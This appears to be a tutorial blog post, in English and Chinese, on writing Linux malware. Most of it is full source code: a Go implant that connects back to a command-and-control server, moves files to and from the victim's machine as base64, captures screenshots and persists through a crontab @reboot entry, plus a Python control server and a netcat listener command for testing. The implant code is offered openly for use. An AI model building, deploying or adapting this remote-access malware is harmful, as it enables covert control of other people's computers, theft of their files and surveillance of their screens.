Linux Malware Development

Malware

plan

  • connect back to the c2 server
  • recieve incoming commands from the c2 server
  • q/quit:terminate the connection
  • cd tgt_dir:change directory
  • file upload
    • read the file in binary
    • connvert the connect to base64
    • send the message : “file_name:base64_string”
  • file download
    • split the recieved string using ‘:’ as the separator
    • decode the base64 string
    • write the binary file content to ‘file_name’
  • screenshot
  • persistence
  • shell command execution

go语言的基本使用

环境

vim ~/.zshrc
# 打开的文件末尾加如下语句以添加环境变量
export PATH=$PATH:/.../go/bin

创建项目

cd /.../malware
go mod init github.com/yourusername/malware

Hello World!

package main

import (
	"fmt"
)

func main() {
	fmt.Println("Hello world!\n")
}

运行

go build main.go
./main

#or
go run main.go

使用第三方的包

go mod init github.com/username/malware #创建名为malware的项目
go get github.com/kbinani/screenshot # 获取、编译和安装包及其依赖项的工具
# import里加上"github.com/kbinani/screenshot"

持久性:

  • 系统的,所有用户,需要root
  • 用户级别的,限制在某个用户,无需root

main.go

package main

import (
	"bufio"
	"encoding/base64"
	"fmt"
	"image/png"
	"net"
	"os"
	"os/exec"
	"strings"
	"time"

	"github.com/kbinani/screenshot"
)

const C2 string = "127.0.0.1"

func main() {
	conn := connect_home()

	for {
		cmd, _ := bufio.NewReader(conn).ReadString('\n')
		cmd = strings.TrimSpace(cmd)
		if cmd == "q" || cmd == "quit" {
			send_resp(conn, "Closing connection")
			conn.Close()
			break
		} else if cmd[0:2] == "cd" {
			//cd, cd tgt_dir
			if cmd == "cd" {
				cwd, err := os.Getwd()
				if err != nil {
					send_resp(conn, err.Error())
				} else {
					send_resp(conn, cwd)
				}

			} else {
				target_dir := strings.Split(cmd, " ")[1]
				if err := os.Chdir(target_dir); err != nil {
					send_resp(conn, err.Error())
				} else {
					send_resp(conn, target_dir)
				}
			}
		} else if strings.Contains(cmd, ":") {
			tmp := strings.Split(cmd, ":")
			if save_file(tmp[0], tmp[1]) {
				send_resp(conn, "File uploaded successfully")
			} else {
				send_resp(conn, "Error uploading file")
			}
		} else if tmp := strings.Split(cmd, " "); tmp[0] == "download" {
			send_resp(conn, get_file(tmp[1]))
		} else if cmd == "screenshot" {
			send_resp(conn, take_screenshot())
		} else if cmd == "persist" {
			send_resp(conn, persist())
		}
	}
}

func connect_home() net.Conn {
	conn, err := net.Dial("tcp", C2)
	if err != nil {
		time.Sleep(time.Second * 1)
		return connect_home()
	}
	return conn
}

func send_resp(conn net.Conn, msg string) {
	fmt.Fprintf(conn, "%s", msg)
}

func save_file(file_name string, b64_string string) bool {
	//b'qwertyuiop' -> qwertyuiop
	temp := b64_string[2 : len(b64_string)-1]
	content, _ := base64.StdEncoding.DecodeString(temp)
	if err := os.WriteFile(file_name, content, 0644); err != nil {
		return false
	}
	return true
}

func get_file(file string) string {
	if !file_exists(file) {
		return "File not found"
	} else {
		// file_name:b64_string
		return file + ":" + file_b64(file)
	}
}

func persist() string {
	file_name := "/tmp/persist"
	file, _ := os.Create(file_name)
	exec_path, _ := os.Executable()
	fmt.Fprint(file, "@reboot "+exec_path+"\n")
	_, err := exec.Command("/usr/bin/crontab", file_name).CombinedOutput()
	os.Remove(file_name)
	if err != nil {
		return "Error establishing persistence"
	} else {
		return "Persistence has been established successfully"
	}
}

func file_exists(file string) bool {
	if _, err := os.Stat(file); err != nil {
		return false
	}
	return true
}
func file_b64(file string) string {
	content, _ := os.ReadFile(file)
	return base64.StdEncoding.EncodeToString(content)
}

func take_screenshot() string {
	bounds := screenshot.GetDisplayBounds(0)
	img, _ := screenshot.CaptureRect(bounds)
	file, _ := os.Create("wallpaper.png")
	defer file.Close()
	png.Encode(file, img)
	b64_string := file_b64("wallpaper.png")
	os.Remove("wallpaper.png")
	return b64_string
}

func exec_command(cmd string) string {
	output, err := exec.Command(cmd).Output()
	if err != nil {
		return err.Error()
	} else {
		return string(output)
	}
}

测试

# 拆分终端,分别写如下指令
nc -nlvp 1234 
go run main.go
# nc: nc命令,也称为netcat,是一个用于网络通信的实用工具。
# -n: 在使用域名和IP地址时,不进行DNS解析。
# -l: 启动监听模式,等待远程主机连接。
# -v: 详细模式,显示更多信息,例如连接和传输的详细情况。
# -p: 指定端口号,用于监听连接。

Server

plan

  • listen for incoming connections from our malware
  • recieve an incoming connection
  • loop:
    • take input from the user
    • send that to the malware
    • recieve the results

server.py

from socket import socket, AF_INET, SOCK_STREAM
from base64 import b64decode,b64encode
import os
s = socket(AF_INET, SOCK_STREAM)
s.bind(("127.0.0.1", 1234))
s.listen()
print("[*] Listening for incoming connections ... ")

conn, addr = s.accept()
print(f"[*] REcieved connection from {addr[0]} : {addr[1]}")

while True:
    inp = input("$ ")
    cmd = inp + '\n'

    # quit
    if inp.lower() in ('q','quit'):
        conn.send(cmd.encode())
        resp = conn.recv(1024).decode()
        print(resp)
        exit(0)
    
    # screenshot
    elif inp.lower() == "screenshot":
        conn.send(cmd.encode())
        b64_string = ''
        while True:
            tmp = conn.recv(32768).decode()
            b64_string += tmp
            if len(tmp) < 32768:
                break
        with open('screenshot.png','wb') as f:
            f.write(b64decode(b64_string))
        print("Screenshot saved successfully")
    
    # download file_name
    elif inp.split(' ')[0].lower() == "download":
        conn.send(cmd.encode())
        b64_string = ''
        while True:
            tmp = conn.recv(32768).decode()
            b64_string += tmp
            if len(tmp) < 32768:
                break

        #file not founf
        if "not found" in b64_string:
            print(b64_string)
            continue
        #file_name:b64_string
        file_name, b64_string = b64_string.split(':')
        with open(file_name, 'wb') as f:
            f.write(b64decode(b64_string))
        print("File saved successfully")
    
    # upload file_name
    elif inp.split(' ')[0].lower() == "upload":
        file_name = inp.split(' ')[1].strip()
        if not os.path.exists(file_name):
            print("File does not exist")
        else:
            # file_name:b64_string
            file_content = ''
            with open(file_name, 'rb') as f:
                file_content = b64encode(f.read())
            tmp = ":".join([file_name, str(file_content)]) + '\n'
            conn.send(tmp.encode())
            resp = conn.recv(1024).decode()
            print(resp)

    # shell commands, etc
    else:
        conn.send(cmd.encode())
        resp = conn.recv(32768).decode()
        print(resp)
Licensed under CC BY-NC-SA 4.0